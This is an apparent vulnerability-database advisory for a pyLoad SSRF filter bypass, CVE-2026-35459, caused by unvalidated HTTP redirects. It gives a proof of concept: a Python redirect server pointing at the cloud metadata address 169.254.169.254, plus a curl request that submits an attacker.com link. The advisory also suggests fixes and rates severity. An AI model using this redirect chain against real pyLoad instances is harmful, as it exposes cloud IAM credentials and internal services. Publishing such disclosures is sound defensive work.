GHSA-7GVF-3W72-P2PG
Vulnerability from github – Published: 2026-04-04 06:41 – Updated: 2026-04-06 23:44Summary
The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.
An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.
Root Cause
The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:
dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
self.fail(...)
else:
for ip in host_to_ip(dl_hostname):
if not is_global_address(ip):
self.fail(...)
After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.
PoC
Redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
Submit to pyload (requires ADD permission):
curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
-d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'
The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.
Impact
An authenticated user with ADD permission can access:
- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
- Internal network services (10.x, 172.16.x, 192.168.x)
- Localhost services (127.0.0.1)
This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.
Suggested Fix
Disable automatic redirect following and validate each redirect target:
# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)
Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:
self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)
And add a pycurl callback to validate redirect destination IPs before following.
Resources
- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev96"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35459"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:41:08Z",
"nvd_published_at": "2026-04-06T20:16:28Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n dl_hostname = urllib.parse.urlparse(dl_url).hostname\n if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n self.fail(...)\n else:\n for ip in host_to_ip(dl_hostname):\n if not is_global_address(ip):\n self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n from http.server import HTTPServer, BaseHTTPRequestHandler\n\n class RedirectHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n self.end_headers()\n\n HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n curl -b cookies.txt -X POST \u0027http://target:8000/json/add_package\u0027 \\\n -d \u0027add_name=ssrf-test\u0026add_dest=1\u0026add_links=http://attacker.com:8888/redirect\u0027\n\nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure \u2014 including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n- Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n # In HTTPRequest.__init__():\n self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.",
"id": "GHSA-7gvf-3w72-p2pg",
"modified": "2026-04-06T23:44:01Z",
"published": "2026-04-04T06:41:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33992"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35459"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/33c55da084320430edfd941b60e3da0eb1be9443"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.